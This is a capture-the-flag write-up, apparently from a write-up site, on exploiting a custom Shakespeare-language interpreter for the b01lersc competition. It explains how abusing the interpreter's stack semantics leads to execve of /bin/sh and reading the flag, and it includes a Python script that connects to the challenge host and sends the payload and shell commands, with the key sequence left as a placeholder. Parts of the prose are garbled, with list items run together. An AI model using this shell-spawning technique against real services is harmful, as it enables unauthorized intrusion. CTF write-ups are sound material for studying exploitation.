$ cat writeup.md…
$ cat writeup.md…
b01lersc
Task: reverse a custom Shakespeare interpreter that exposes a single syscall through stack-based scenes. Solution: abuse its 32-bit word stacking and the 0xffffffff cstring substitution to place /bin/sh on Romeo's stack, forge Hamlet's stack for execve, then interact with the spawned shell to read /app/flag.txt.
The Infamous Hello World Program.
Romeo, a young man with a remarkable patience. Hamlet, the flatterer of Andersen Insulting A/S.
The provided file was a Shakespeare-style program executed by a custom ELF interpreter. The goal was to understand the VM well enough to turn its single exposed syscall into code execution and then retrieve the flag from the remote service.
The key bug was not memory corruption but runtime semantics.
high32 first, then low32.2/3/4) pop only the top two Romeo words and push the result onto the Hamlet stack.That means each arithmetic operation can do two things at once:
The final syscall scene has another important quirk: if an argument is 0xffffffff, Hamlet replaces it with reference_stack_cstring(). Because Scene I does Reference Romeo., that cstring actually comes from Romeo's stack, not Hamlet's.
So the exploit strategy was:
execve(path, argv, envp);/bin/sh\x00 on Romeo's stack;path = 0xffffffff, argv = 0, envp = 0;0xffffffff into a Romeo-stack cstring pointing to /bin/sh.This spawns /bin/sh over the same socket. From there, the remaining work is operational:
pwd showed the remote working directory was /app;ls -la revealed challenge.spl, flag.txt, insults.txt, run, and shakespeare;/flag did not exist;cat flag.txt returned the flag.high32, then low32.2/3/4 so each step consumes only the top two Romeo words and appends the computed result to Hamlet.execve(0xffffffff, 0, 0) while Romeo retains the bytes of /bin/sh\x00.0xffffffff to reference_stack_cstring(), which points into Romeo because of Reference Romeo./app/flag.txt.#!/usr/bin/env python3 import socket, ssl, time HOST = "shakespeares-revenge.opus4-7.b01le.rs" PORT = 8443 def push_word(v: int) -> bytes: return f"{v}\n0\n2\n".encode() def syscall_payload(sysno: int, *args: int) -> bytes: out = b"" for a in reversed(args): out += push_word(a) out += push_word(sysno) return out # After reversing the runtime, we know how to arrange Romeo/Hamlet so that: # - Romeo's referenced cstring becomes "/bin/sh\x00" # - Hamlet's syscall stack becomes execve(0xffffffff, 0, 0) # The exact numeric sequence is omitted here for brevity; the important part is # the semantic abuse described in the writeup. EXPLOIT_PREFIX = b"<reversed_shakespeare_numeric_program>" ctx = ssl.create_default_context() ctx.check_hostname = False ctx.verify_mode = ssl.CERT_NONE s = socket.create_connection((HOST, PORT)) s = ctx.wrap_socket(s, server_hostname=HOST) s.settimeout(2) s.sendall(EXPLOIT_PREFIX + syscall_payload(59, 0xffffffff, 0, 0)) time.sleep(1) for cmd in [b"pwd\n", b"ls -la\n", b"cat flag.txt\n"]: s.sendall(cmd) time.sleep(0.5) try: print(s.recv(65535).decode("latin-1", "replace")) except Exception: pass
$ cat /etc/motd
Liked this one?
Pro unlocks every complete writeup and expanded API access. $9/mo.
$ cat pricing.md$ grep --similar